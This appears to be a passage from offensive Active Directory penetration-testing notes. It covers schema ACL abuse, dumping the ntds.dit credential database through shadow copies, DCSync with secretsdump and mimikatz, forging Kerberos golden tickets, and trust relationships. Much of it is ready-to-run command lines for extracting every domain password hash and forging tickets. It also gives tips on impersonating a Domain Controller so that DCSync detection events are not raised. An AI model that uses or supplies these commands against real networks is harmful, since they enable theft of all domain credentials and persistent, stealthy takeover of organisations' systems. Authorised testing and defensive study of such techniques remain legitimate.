# Refer to the "[Windows] Lateral movements - Local credential re-use" for procedures to start the mmc utility under the identify of another user, through Pass-the-Hash if necessary.
File -> Add/Remove Snap-in (Ctrl + M) -> Selection of "Active Directory Schema"

Right click on "Active Directory Schema"
  -> Either choose "Connect to Schema Operations Master" on an enrolled machine
  -> Or manually specify the Schema Master Domain Controller through the "Change Active Directory Domain Controller..."
```

For instance, the default `Access Control List (ACL)` of the `user` class can be updated to grant control over the new users that will be created after the schema update and replication. However, if a newly created user is added to any domain privileged groups, that is protected by the `AdminSDHolder` mechanism, the default `ACL` will be overwritten through the `SDProp` process (by the "template" ACL defined on the `AdminSDHolder` object).

```
Classes -> Right click "user" -> Properties -> Default Security -> Add -> Specify a controlled security principal or "Everyone" / "Authenticated users" / etc. -> Permissions : "Full Control" / "Reset password" / etc.
```

### Server Operators

The members of the `Server Operators` / `Opérateurs de serveur` `domain local` group (`SID: S-1-5-32-549`) can, similarly to `Backup operators`, remotely connect to Domain Controllers and `backup` or `restore` any files. Indeed, the `Server Operators` are also granted the `SeBackupPrivilege` and `SeRestorePrivilege` privileges. The domain `Server Operators` group, and its members, are protected by the `AdminSDHolder` mechanism.

Refer to the `Backup Operators` section for techniques on how to leverage a membership to the `Server Operators` group to elevate privileges to `Domain Administrators`.

***

### References

<https://adsecurity.org/?p=3700> <https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83> <https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise> <https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups> <https://adsecurity.org/?p=4064> <https://www.youtube.com/watch?v=8KJebvmd1Fk> <https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/> <https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges> <https://github.com/FuzzySecurity/Capcom-Rootkit> <https://github.com/tandasat/ExploitCapcom>


# Post Exploitation - ntds.dit dumping

### Through code execution on a Domain Controller

If code execution could be achieved on a `Domain Controller`, with sufficient privileges to access the `ntds.dit` database (file: `%WINDIR%\Windows\NTDS\ ntds.dit`), multiples Windows utilities can be used to export the `ntds.dit`.

On a standard `Domain Controller` installation, the `NT AUTHORITY\SYSTEM` built-in Windows Account and the `Administrators` domain group have `full control` access on the file. Additionally, yet again in a standard configuration, members of the `Backup Operators` (`SID: S-1-5-32-551`) domain group have the necessary privileges to open an interactive (and remote) session on the `Domain Controllers` (`SeInteractiveLogonRight`) and can make use of the `SeBackupPrivilege` privilege to open files with the `FILE_FLAG_BACKUP_SEMANTICS` flag in order to bypass the file access permissions.

As the `ntds.dit` file is being continuously accessed, the file cannot be directly copied ("The action can't be completed because the file is open in another program"). The copy must be done through the Windows `shadow copy` mechanism, which leverage a temporary freezing of the I/O requests on the file. The freezing is requested by the `Volume Shadow Copy Service (VSS)` Windows built-in service, which orchestrate the creation of the `shadow copy`.

The sensitive information in the `ntds.dit` file is encrypted using the system `Boot Key` (also known as the `System Key`, or `SysKey`). This key is located in the `HKEY_LOCAL_MACHINE\SYSTEM` registry hive (`C:\Windows\system32\config\ SYSTEM` file) and is unique to each `Domain Controller`. The `SYSTEM` registry hive (or the `Boot Key` directly) must thus be exported from the `Domain Controller` the `ntds.dit` was copied from. The Windows built-in `reg` command line utility can be used to do so:

```
reg save HKLM\SYSTEM <EXPORT_PATH>\SYSTEM
```

**ntdsutil**

The Windows Active Directory `Ntdsutil` administration utility can be used as a wrapper around `vssadmin` to dump the `ntds.dit` database file.

`Ntdsutil` will additionally automatically export the `SECURITY` and `SYSTEM` registry hives and conduct a defragmentation of the database file (wrapping around the `esentutl` utility).

Note that the `ntdsutil` utility requires elevated privileges that are not attributed to members of the `Backup Operators` domain group (error: `error 0x2(The system cannot find the file specified.)`).

```
# One-liner.
ntdsutil "ac i ntds" "ifm" "create full <EXPORT_FOLDER>" q q

# Ntdsutil interactive console.
ntdsutil.exe
activate instance ntds
ifm
create full <EXPORT_FOLDER>
quit
quit
```

**vssadmin**

The Windows built-in `Volume Shadow Copy Service administrative (vssadmin)` command line utility can be used to create a `shadow copy` of the Windows install volume in order to make a `shadow copy` of the `ntds.dit` database file.

While still available by default, the `vssadmin` utility has been superseded by the `diskshadow` utility on `Windows Server 2008`, and later.

Note that the `vssadmin` utility requires elevated privileges that are not attributed to members of the `Backup Operators` domain group (error: `Error: You don't have the correct permissions to run this command.`).

```
vssadmin create shadow /for=C:
# Shadow Copy ID: <GUID>
# Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<ID>

# The copy should be done using the DOS copy.exe utility, as the copy PowerShell command, alias for Get-ChildItem seems to have trouble copying from a shadow volume.
cmd.exe /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<ID>\Windows\NTDS\ntds.dit <EXPORTED_NTDS_DIT>"

vssadmin delete shadows /shadow=<GUID>
```

**diskshadow**

Similarly to the `vssadmin` utility, the Windows `diskshadow` utility directly interact with the Windows `VSS` service.

By default, the `diskshadow` utility uses an interactive command interpreter but also includes the possibility to execute `diskshadow` commands directly from a script file.

Note that the `diskshadow` utility can be used by members of the `Backup Operators` domain group to create a shadow volume.

The following `diskshadow` commands can be executed, either through an interactive `diskshadow` commands interpreter or from a script file by starting `diskshadow.exe -s <SCRIPT_FILE>`, to create a shadow volume and directly copy the `ntds.dit` file. In order to make use of the `diskshadow.exe`'s `exec "cmd.exe" [...]` command, `diskshadow.exe` must be started in the `C:\Windows\System32` directory, otherwise the command execution will fail. If doing so is not a possibility, the copy may also be done outside of `diskshadow`, after the shadow volume creation.

```
set context persistent nowriters
add volume c: alias <ALIAS>
create
expose %<ALIAS>% <DRIVE_LETTER>:
exec "cmd.exe" /c copy <DRIVE_LETTER>:\Windows\NTDS\ntds.dit <EXPORTED_NTDS_DIT>
delete shadows volume %<ALIAS>%
reset
```

**WMI win32\_shadowcopy**

The `Windows Management Instrumentation (WMI)` class `win32_shadowcopy` can be used to create a `shadow copy` as well:

```
# Either commands create the shadow copy volume.
wmic shadowcopy call create Volume='C:\'
powershell.exe -Command (gwmi -List win32_shadowcopy).Create('C:\', 'ClientAccessible')

# Lists the shadow copy volume configured in order to retrieve the created shadow copy ID.
wmic shadowcopy
Get-WmiObject Win32_ShadowCopy | ForEach-Object { $_ }

# Copies the ntds.dit file directly from the volume shadow copy.
cmd.exe /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<ID>\Windows\NTDS\ntds.dit <EXPORTED_NTDS_DIT>"

# Alternatively creates a symbolic link to the volume shadow copy, allowing the copy to be browsed in Windows Explorer.
# The trainling "\" SHOULD NOT be omitted.
mklink /d <DIRECTORY_FOR_MOUNTING_PATH> \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<ID>\

# Will delete all instances of shadow copy volumes.
wmic delete

# Deletes the specified shadow copy volume.
Get-WmiObject Win32_ShadowCopy | ForEach-Object { If ($_.ID -like "<GUID>") { $_.Delete() }}

# Alternatively will prompt for confirmation before deleting a shadow copy volume but require to be started through an interactive command prompt.
wmic
wmic:root\cli> shadowcopy delete
```

### Remotely over the network

**Remote Volume Shadow Copy**

The `vssadmin` utility can be executed remotely, over the `SMB`, `WMI` or `DCOM` protocols, in order to export the `ntds.dit`. As implemented in `impacket`'s `secretsdump.py` Python script, the `ntds.dit` database file is exported in a temporary folder and parsed remotely. `CrackMapExec` wraps around the methods from `secretsdump.py`.

```
# Wrap around secretsdump.py
crackmapexec smb <DC_HOSTNAME | DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' --ntds vss
crackmapexec smb <DC_HOSTNAME | DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -H '<NTLM_HASH>' --ntds vss
crackmapexec <DC_HOSTNAME | DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' --ntds vss
crackmapexec <DC_HOSTNAME | DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -H '<NTLM_HASH>' --ntds vss

# The -dc-ip option may not be properly taken into account. If so, the domain name can be associated to an IP in the /etc/hosts (Linux) or C:\Windows\System32\drivers\etc\hosts (Windows) file.
# Additionally, a Domain Controller IP can be specified in the target string in place of the domain name.
# -exec-method: smbexec, wmiexec, or mmcexec (over the DCOM protocol).
# Static stand-alone secretsdump binaries for Windows and Linux x64 available at: https://github.com/ropnop/impacket_static_binaries
secretsdump.py -dc-ip <DC_IP> -use-vss -just-dc-user "<krbtgt | USERNAME>" "<DOMAIN>/<USERNAME>:<PASSWORD>@<DOMAIN | DC_IP>"
secretsdump.py -dc-ip <DC_IP> -use-vss "<DOMAIN>/<USERNAME>:<PASSWORD>@<DOMAIN | DC_IP>"
secretsdump.py -use-vss [-exec <EXEC_METHOD>] "<DOMAIN>/<USERNAME>:<PASSWORD>@<DOMAIN | DC_IP>"
```

**DCSync (DRSUAPI)**

The `DCSync` attack consists in leveraging the Active Directory `DRSUAPI` replication functions (part of the `Directory Replication Service (DRS)` protocol) to remotely retrieve the specified Active Directory objects' sensible information. The `DRSUAPI` functions are normally used by the `Domain Controllers` to replicate the modifications made to AD objects and keep the AD objects consistent across all the `Domain Controllers` of the forest. The `DRSUAPI` replication functions are exposed on the network by the `Microsoft Remote Procedure Call (MSRPC)` `DRSUAPI` interface on each `Domain Controller`. Thus, contrary to the others methods explicated so far, no local code execution on a `Domain Controller` is required to retrieve information from the `ntds.dit` database.

While multiples `DRSUAPI` intermediate functions are used in the replication process, the `DSGetNCChanges` function implements the replication request.

The following privileges on the `domain root object` are necessary to make replication requests through the `DRSUAPI`:

* Replicating Directory Changes (`Ds-Replication-Get-Changes`, `ACE GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2`)
* Replicating Directory Changes All (`Ds-Replication-Get-Changes-All`, `ACE GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2`)

Those privileges are, in a default Active Directory configuration, granted to the `Domain Controllers`, `ENTERPRISE DOMAIN CONTROLLERS`, `Domain Admins`, `Enterprise Admins` and `Administrators` domain groups. For more information on how to retrieve, and potentially exploit, the privileges configured on the `domain root object`, refer to the `[ActiveDirectory] ACL exploiting` note.

```
# Wrap around secretsdump.py. May however encounter problems if using a Domain Controller machine account NTLM hash.
crackmapexec smb <DC_HOSTNAME | DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' --ntds drsuapi
crackmapexec smb <DC_HOSTNAME | DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -H '<NTLM_HASH>' --ntds drsuapi
crackmapexec <DC_HOSTNAME | DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' --ntds drsuapi
crackmapexec <DC_HOSTNAME | DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -H '<NTLM_HASH>' --ntds drsuapi

# Static stand-alone secretsdump binaries for Windows and Linux x64 available at: https://github.com/ropnop/impacket_static_binaries
secretsdump.py -dc-ip <DC_IP> -just-dc-user "<krbtgt | USERNAME>" "<DOMAIN>/<USERNAME>:<PASSWORD>@<DOMAIN | DC_IP>"
secretsdump.py -dc-ip <DC_IP> "<DOMAIN>/<USERNAME>:<PASSWORD>@<DOMAIN | DC_IP>"
secretsdump.py "<DOMAIN>/<USERNAME>:<PASSWORD>@<DOMAIN | DC_IP>"
secretsdump.py -hashes <LM_HASH:NTLM_HASH> <DOMAIN>/<USERNAME>@<DOMAIN | DC_IP>"

# If an error "0x00000003 (3) - ERROR_NOT_UNIQUE" is returned, the domain of the user should be specified as well (<DOMAIN\USERNAME>).
mimikatz # lsadump::dcsync /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> [/all | /user:<krbtgt | USERNAME | DOMAIN\USERNAME>]

Invoke-Mimikatz -Command '"/domain:<DOMAIN_FQDN> /dc:<DC_FQDN> [/all | /user:<krbtgt | USERNAME | DOMAIN\USERNAME>]"'
```

Note that whenever a replication request is made by any security principals that is not a machine account member of the `Domain Controllers` / `ENTERPRISE DOMAIN CONTROLLERS` domain groups, Windows `Security` events `Event 4662: An operation was performed on an object` are generated. The generated events will have, in the `Property` attribute, the `1131f6aa-9c07-11d1-f79f-00c04fc2dcd2` and `1131f6ad-9c07-11d1-f79f-00c04fc2dcd2` `GUID`, and can thus be effectively used to detect `DCSync` attacks. In order to avoid the generation of such events, the identity of a `Domain Controller` can be usurped, either after the compromise of a `Domain Controller` machine account `NTLM` hash or the compromise of any of the `krbtgt` account secret.

Indeed, with knowledge of a secret of the targeted domain's `krbtgt` account, a `golden ticket` impersonating a Domain Controller can be generated to conduct replication operations without raising Windows `Security` events (`Event 4662: An operation was performed on an object`). The `golden ticket` can be crafted using `mimikatz` `kerberos::golden` module or `impacket`'s `ticketer.py`. For more information on `golden tickets`, refer to the `[ActiveDirectory] Golden Tickets` note.

```
# The <IMPERSONATED_DC_RID> can be obtained using:
(New-Object System.Security.Principal.NTAccount("<DOMAIN>","<DC_MACHINE_ACCOUNT")).Translate([System.Security.Principal.SecurityIdentifier]).Value

# mimikatz can be used to inject the generated golden ticket in the current session, allowing for direct use of "mimikatz # lsadump::dcsync".
mimikatz.exe "kerberos::golden /user:<IMPERSONATED_DC_MACHINE_ACCOUNT> /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> [/rc4:<KRBTGT_NTLM> | /aes128:<KRBTGT_AES128> | /aes256:<KRBTGT_AES256>] /id:<IMPERSONATED_DC_RID> /groups:516 /sids:S-1-5-21-<DOMAIN_IDENTIFIER-AUTHORITY>-516,S-1-5-9 /ptt" "exit"
```

For more information on how to impersonate a Domain Controller after the initial compromise of its machine account `NTLM` hash refer to the `[ActiveDirectory] Silver Tickets` note.

### ntds.dit credentials information extraction

The `impacket`'s `secretsdump` Python script and PowerShell cmdlets of the `DSInternals` module can be used to extract account(s) credentials information from a specified `ntds.dit` file.

```
secretsdump.py -user-status -ntds <NTDS_DIT_FILE> -system <SYSTEM_HIVE_FILE> LOCAL

$key = Get-BootKey -SystemHivePath '<EXPORTED_SYSTEM>'
# By default all of the account(s) secrets are retrieved (NTHashHistory, LMHashHistory, Kerberos AES keys, etc.).
# The PowerShell cmdlet Format-Custom can used to automatically extract the LM / NTLM hashes of the output in a format supported by hashcat (HashcatNT) or John the Ripper (JohnLM / JohnNT).
Get-ADDBAccount -All -DBPath '<EXPORTED_NTDS_DIT>' -BootKey $key
Get-ADDBAccount -SamAccountName "krbtgt" -DBPath '<EXPORTED_NTDS_DIT>' -BootKey $key

Get-ADDBAccount -All -DBPath '<EXPORTED_NTDS_DIT>' -BootKey $key | Format-Custom -View <HashcatNT | JohnLM | JohnNT> | Out-File <OUTPUT_FILE>
```

If the exported `ntds.dit` database file appears to be corrupted, the Windows `Extensible Storage Engine Utilities (esentutl)` utility may be used in order to check the integrity and attempt a repair of the database file. `esentutl` must be run on a Domain Controller to satisfy external dependencies, such as the `ntdsai.dll` DLL, needed to interact with a `ntds.dit` database.

```
# Checks the integrity of the database file. The check may fail even is the database is not corrupted with the error message "Database was not shutdown cleanly".
esentutl /g <EXPORTED_NTDS_DIT>

# Attempts a repair on the specified ntds.dit database file.
esentutl /p <EXPORTED_NTDS_DIT>
```

***

### References

<https://docs.microsoft.com/fr-fr/windows-server/storage/file-server/volume-shadow-copy-service> <https://github.com/giuliano108/SeBackupPrivilege/blob/master/README.md> <https://pure.security/dumping-windows-credentials/> <https://cqureacademy.com/cqure-labs/cqlabs-dsinternals-powershell-module> <https://www.dsinternals.com/en/dumping-ntds-dit-files-using-powershell/> <https://wiki.samba.org/index.php/DRSUAPI> <https://adsecurity.org/?p=1729> <https://docs.microsoft.com/en-us/openspecs/windows\\_protocols/ms-drsr/58f33216-d9f1-43bf-a183-87e3c899c410> <https://blog.stealthbits.com/what-is-dcsync-an-introduction/>


# Post Exploitation - Kerberos golden tickets

### Overview

`Kerberos` is an authentication protocol, used within Active Directory that rely on the use of tickets to identify users and grant access to domain resources. `Kerberos` implements two type of tickets, issued by two distinct services of the `Key Distribution Center (KDC)`:

* `Ticket-Granting Ticket (TGT)`, obtained from the `Authentication Service (AS)`
* `service tickets`, obtained from the `Ticket-Granting Service (TGS)`.

A `TGT` is generally requested by an user through a `KRB_AS_REQ` request to the `AS` of the `KDC` during the login process on a Windows system integrated to an Active Directory domain. `TGTs` are encrypted using one of the secrets (`RC4 key`, whose value is identical to the `NTLM` hash, or `AES 128/256 bits keys`) of the `krbtgt` account of the domain. After reception of the `TGT`, in a `KRB_AS_REP` response from the `KDC`, `TGT` are stored in memory by the client in the `Security Support Provider (SSP) Kerberos` of the `Local Security Authority Server Service (LSASS)` process.

An user authentication data is stored encrypted (using one of the secrets of the `krbtgt` account) in the `Privilege Attribute Certificate (PAC)` of the `TGT` and includes:

* The `Domain SID` and `User RID`, which combination form the user's current `Security Identifier (SID)`
* the user's `SIDs` kept in its `SIDHistory` attribute
* The `GROUP_MEMBERSHIP_ARRAY` which contains the user's group memberships, in the form of the groups `Relative ID (RID)`.

Whenever generating a `service ticket`, the `TGT`'s `PAC` will be decrypted by the `KDC`, signed using both one of the secrets of the `krbtgt` account (`KDC Signature`) and of the targeted service account (`Server Signature`), and ultimately encrypted using one of the secrets the targeted service account.

`Golden tickets` are `TGT` forged with arbitrary authentication data. Indeed, the specified username, groups `RID` and `SIDs` will be added to the forged ticket `PAC`. The `golden ticket` can be injected in the current user session and used to directly request `service tickets` from the `TGS`.

To generate a `golden ticket`, the following prerequisites are needed:

* The fully qualified domain name and the `SID` of the targeted domain.
* One of the secrets of the targeted domain `krbtgt` account. The `krbtgt` `RC4` key, corresponding to the `NTLM hash` of the `krbtgt` password, as well as the `AES 128/256 bits` keys can be used.

Note that while the user account specified for the `golden ticket` must be a member of the targeted domain, the arbitrary SIDs added in the SID history of the forged ticket (`ExtraSids` field of the `PAC`) can come from external domains or forests (for which trusts relationships are configured).

### Golden tickets generation

The `mimikatz` `kerberos::golden` module and `impacket`'s `ticketer.py` can be used to generate `golden tickets`.

The `golden ticket`'s:

* `UserId` (impersonated user's `RID`) can be specified using (`mimikatz`) `/id` / (`ticketer.py`) `-user-id` `<USER_ID>` and defaults to `500`.
* `GroupIds` (impersonated group memberships) can be specified using (`mimikatz`) `/groups` / (`ticketer.py`) `-groups` `<GROUP_RID | GROUP_RID1, ..., GROUP_RIDN>` and defaults to `513, 512, 520, 518, 519`.
* `ExtraSids` (impersonated user's `SID History`) can be specified using (`mimikatz`) `/sids` / (`ticketer.py`) `-extra-sid` `<EXTRA_SID | EXTRA_SID1, ..., EXTRA_SIDN>`.

```
# Retrives the domain SID.
Get-ADDomain | Ft DNSRoot, DomainSID

# [Windows] Golden tickets generation using mimikatz.
# The generated ticket can be directly injected in the current session using the "/ptt" option.
# Otherwise the golden ticket is exported in the KRB_CRED format (KIRBI file on disk).
mimikatz # kerberos::golden /user:<USERNAME> /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> [/rc4:<KRBTGT_NTLM> | /aes128:<KRBTGT_AES128> | /aes256:<KRBTGT_AES256>] [/groups:<RID | RID_LIST>] [/sids:<EXTRA_SID | EXTRA_SIDS_LIST>]

# [Linux / Windows] Golden tickets generation using ticketer.py.
# The generated ticket is exported in the credential cache (ccache) format.
ticketer.py -domain <DOMAIN_FQDN> -domain-sid <DOMAIN_SID> [-nthash <KRBTGT_NTLM> | -aesKey <KRBTGT_AES128 | KRBTGT_AES256>] <USERNAME>
ticketer.py -domain <DOMAIN_FQDN> -domain-sid <DOMAIN_SID> [-nthash <KRBTGT_NTLM> | -aesKey <KRBTGT_AES128 | KRBTGT_AES256>] -user-id <500 | USER_ID> -groups <GROUP_RID | GROUP_RID1, ..., GROUP_RIDN> -extra-sid <EXTRA_SID | EXTRA_SID1, ..., EXTRA_SIDN> <USERNAME>
```

**mimikatz with Metasploit**

`mimikatz` 2.0 is available in a `meterpreter` shell as the `Kiwi` extension.

To following command can be used to load the extension in memory on a `meterpreter` shell: `use kiwi`

Once the module has been loaded, the `golden_ticket_create` command can be used to create a golden ticket:

```
golden_ticket_create -d '<FQDN_DOMAIN>' -s '<SID_DOMAIN>' -k '<KRBTGT_HASH>' -u '<USERNAME>' -t '<FULL_SAVE_PATH>'

Usage: golden_ticket_create [options]
OPTIONS:
    -d <opt>  FQDN of the target domain (required)
    -g <opt>  Comma-separated list of group identifiers to include (eg: 501,502)
    -h        Help banner
    -i <opt>  ID of the user to associate the ticket with
    -k <opt>  krbtgt domain user NTLM hash
    -s <opt>  SID of the domain
    -t <opt>  Local path of the file to store the ticket in (required)
    -u <opt>  Name of the user to create the ticket for (required)
```

Tickets can be loaded/purged using the `kerberos_ticket_use` and `kerberos_ticket_purge` commands:

```
kerberos_ticket_use <FULL_SAVE_PATH>
kerberos_ticket_purge
```

### Golden tickets usage (Pass-the-Ticket)

On Windows, `golden tickets` generated using `mimikatz` will be automatically injected in the current logon session if the `/ptt` option is specified. Otherwise, an exported `golden ticket` can be injected using `mimikatz.exe "kerberos::ptt <TICKET_FILE_PATH>` for example.

On Linux, `golden tickets`, in the `credential cache (ccache)` format can be exported in the `KRB5CCNAME` environment variable for further use through tools supporting the `Kerberos` protocol, such as `Impacket` Python utilities.

Refer to the `[ActiveDirectory] Kerberos tickets usage` for more information on techniques and tools to leverage `golden tickets`.

***

### References

<https://2014.rmll.info/slides/80/day\\_3-1010-Benjamin\\_Delpy-Mimikatz\\_a\\_short\\_journey\\_inside\\_the\\_memory\\_of\\_the\\_Windows\\_Security\\_service.pdf> <https://adsecurity.org/?page\\_id=1821> TECHNIQUES DE PERSISTANCE ACTIVE DIRECTORY BASÉES SUR KERBEROS - MISC Hors-Série N°20 <https://www.beneaththewaves.net/Projects/Mimikatz\\_20\\_-\\_Silver\\_Ticket\\_Walkthrough.html>


# Post Exploitation - Trusts hopping

### Overview

Trust relationships define an administrative and security link between two Windows forests or domains. They enable a user to access resources that are located in a forest or domain that's different from the user's own forest or domain.

**Trusts directions**

The direction of an Active Directory trust relationship defines the direction of the accesses and can be:

* `one-way`, given by one forest or domain, the `trusting object`, to another domain or forest, the `trusted object`.
* `bidirectional` or `two-ways`, meaning are reciprocated by both objects forming the trust. A `bidirectional` trust is actually implemented as two `one-way` trusts.

The `trusting object` will define `outbound` trusts with the objects that it directly trust and principals from the trusted objects will be allowed access to the `trusting object` resources. Reciprocally, the `trusted object` will define an `inbound` trust with object that directly trust it.

```
        ------ Outbound trust ------>
Domain1                               Domain2
  ^     <------ Inbound trust ------     |
  |                                      |
  |--------------- Access ----------------
```

**Transitivity**

A `transitive trust` is a trust that is extended not only to the directly trusted object, but also to each objects that the trusted object trusts. A transitive trust will thus give access to the resources of the trusting domain to all domains or forests that are trusted by the trusted object defined in the trust.

A trust that is non transitive will limit access to the resources of the trusting object only to the trusted domain or forest and will not extend to any other object.

**Default and possible trusts**

All domains in a forest trust each others by default. External trusts can also be configured between domains of different forests.

The following different types of trusts are or can be configured in Active Directory (either by default or manually):

| Scope         | Trust type                              | Direction          | Transitivity                 | Description                                                                                                                                                                                                                                                                                               |
| ------------- | --------------------------------------- | ------------------ | ---------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Intra-forest  | Parent-Child                            | Two-way            | Transitive                   | Created automatically between a child domain and its domain parent.                                                                                                                                                                                                                                       |
| Intra-forest  | Tree-Root                               | Two-way            | Transitive                   | Created automatically when a new Tree is added to a forest.                                                                                                                                                                                                                                               |
| Intra-forest  | Shortcut                                | One-way or two-way | Transitive                   | Created manually to improve performance between two domains in the same forest.                                                                                                                                                                                                                           |
| Inter-forests | External                                | One or two-way     | Non-transitive by default    | Manually created trusts between domains of different forests.                                                                                                                                                                                                                                             |
| Inter-forests | <p>CrossForest<br>/<br>Forest trust</p> | One or two-way     | Non-transitive               | <p>Manually created trusts between different forests, which makes one forest transitively trust all of the domains in the other forest.<br>Forest trusts are not extendable to others forests: a trust between one forest and another does not extend to the eventual trusted forests of each forest.</p> |
| Other         | Realm                                   | One-way or two way | Transitive or non-transitive | Manually created trusts between an Active Directory forest and a non-Windows Kerberos directory.                                                                                                                                                                                                          |

**Authentication mechanisms for Active Directory trusts**

Both the `Kerberos` and the `NTLM` protocols are used for authentication across Active Directory trusts. An authentication is first attempted using the `Kerberos` protocol and, in case of failure, a rollback authentication is made through the `NTLM` protocol.

If the authentication is made through the `Kerberos` protocol, a new `Kerberos` ticket is issued to the user: the `referral ticket`. This ticket corresponds to a reissue of the user's current `Ticket-Granting Ticket (TGT)` encrypted with one of the secrets (`RC4`, corresponding to the `NTLM hash`, or `AES 128/256 bits` keys) of the `trust account`.

The referral tickets, as with any other `Kerberos` tickets, contain the user authentication information (`SID`, eventual extra `SIDs` and the user's groups) in its `Privilege Attribute Certificate (PAC)`. The `referral tickets` are subsequently used to request `service tickets (ST)` and access resources in the trusting domain or forest.

**Authentication and access control across trusts**

The access to securable resources, that is resources that define a `security descriptor`, is based on a `security principal`'s `SID`, eventual extra `SIDs`, and `security group SIDs`. Indeed, these `SIDs` are compared to the access rights defined in the `Access Control Entries (ACEs)` of the accessed object's `Discretionary Access Control List (DACL)`.

Users, computer machine accounts, and `Global` and `Universal` security groups of the trusted domain or forest can be added to `Domain local` security groups of the trusting domain or forest. As the `Domain Admins` and `Enterprise Admins` groups are, respectively, `Global` and `Universal` security groups, only the built-ins `Administrators` and `Operators` groups (and others non-default `Domain Local` security groups) can be used to grant privileges to security principals of a trusted domain / forest in the trusting domain / forest. For instance, the trusted domain / forest's `Domain Admins` group can be added to the `Administrators` group of the trusting forest but the trusted forest's `Administrators` group cannot.

The `SIDs` that are not from the trusted domain or forest are subject to the `SID filtering` security mechanism.

**Security mechanism: SID filtering**

A filtering policy governs the `Security Identifiers (SIDs)` that can be used for authentication and access control through Active Directory trusts. The filtering depends on the type of the trust, the `SID`, as well as the activation or not of the security filtering mechanism known as `SID filtering`. This filtering applies on the current `SID` of the account as well as any `SIDs` present in the user `SIDHistory` attribute.

`SIDs` are categorized into the following classes, with specific rules being applied to each class:

| Category         | Rule                                                                                                                                                                                                                                                                                                                                                                |
| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `AlwaysFilter`   | The `SIDs` categorized as `AlwaysFilter` are never allowed across any trust (both `intra-forest` or `inter-forests`) boundaries.                                                                                                                                                                                                                                    |
| `ForestSpecific` | The `SIDs` categorized as `ForestSpecific` are never allowed across `inter-forests` trusts and are not allowed across `intra-forest` marked as `QuarantinedWithinForest`.                                                                                                                                                                                           |
| `EDC`            | <p>Only the well known <code>Enterprise Domain Controllers</code> <code>SID</code> (<code>S-1-5-9</code>) is categorized as <code>EDC</code>.<br>This <code>SID</code> is always filtered across <code>inter-forests</code> trusts but always allowed across <code>intra-forest</code> trusts (even for trusts marked as <code>QuarantinedWithinForest</code>).</p> |
| `DomainSpecific` | <p><em>This category has disappeared for Active Directory domains with a functional level of <code>Windows Server 2012</code> and is now unified with the <code>ForestSpecific</code> category.</em><br><br>The <code>SIDs</code> in this category are considered local to the present domain and are filtered across the trust.</p>                                |
| `NeverFilter`    | The `SIDs` categorized as `NeverFilter` are always allowed across any trust boundaries.                                                                                                                                                                                                                                                                             |

*SID categorization*

| `SID` / `SID` pattern                                           | Associated principal                                | Category                                                                                                                                                                                                                                                                                                                                                         |
| --------------------------------------------------------------- | --------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `S-1-5-9`                                                       | Enterprise Domain Controllers                       | EDC                                                                                                                                                                                                                                                                                                                                                              |
| <p><code>S-1-5-21-\<Domain>-R</code><br><br>R < 500</p>         | Well-known SID range                                | ForestSpecific                                                                                                                                                                                                                                                                                                                                                   |
| `S-1-5-21-<Domain>-500`                                         | Administrator                                       | ForestSpecific                                                                                                                                                                                                                                                                                                                                                   |
| `S-1-5-21-<Domain>-502`                                         | Krbtgt                                              | ForestSpecific                                                                                                                                                                                                                                                                                                                                                   |
| `S-1-5-21-<Domain>-512`                                         | Domain Admins                                       | ForestSpecific                                                                                                                                                                                                                                                                                                                                                   |
| `S-1-5-21-<Domain>-516`                                         | Domain Controllers                                  | ForestSpecific                                                                                                                                                                                                                                                                                                                                                   |
| `S-1-5-21-<Domain>-517`                                         | Cert Publishers                                     | ForestSpecific                                                                                                                                                                                                                                                                                                                                                   |
| `S-1-5-21-<Domain>-518`                                         | Schema Admins                                       | ForestSpecific                                                                                                                                                                                                                                                                                                                                                   |
| `S-1-5-21-<Domain>-519`                                         | Enterprise Admins                                   | ForestSpecific                                                                                                                                                                                                                                                                                                                                                   |
| `S-1-5-21-<Domain>-520`                                         | Group Policy Creator Owners                         | ForestSpecific                                                                                                                                                                                                                                                                                                                                                   |
| <p><code>S-1-5-21-\<Domain>-R</code><br><br>500 <= R < 1000</p> | Reserved domain-specific values                     | ForestSpecific                                                                                                                                                                                                                                                                                                                                                   |
| <p><code>S-1-5-21-\<Domain>-R</code><br><br>R >= 1000</p>       | Identifiers for non-default domain users and groups | <p>Not filtered at <code>intra-forest</code> and <code>external</code> as well as <code>cross-forest</code> with out <code>SID Filtering</code> trust boundaries.<br><br>Filtered at <code>intra-forest</code> trusts marked as <code>QuarantinedWithinForest</code>, and quarantined <code>external</code> and <code>cross-forest</code> trusts boundaries.</p> |
| `S-1-5-32-544`                                                  | Administrators                                      | AlwaysFilter                                                                                                                                                                                                                                                                                                                                                     |
| `S-1-5-32-547`                                                  | Power Users                                         | AlwaysFilter                                                                                                                                                                                                                                                                                                                                                     |
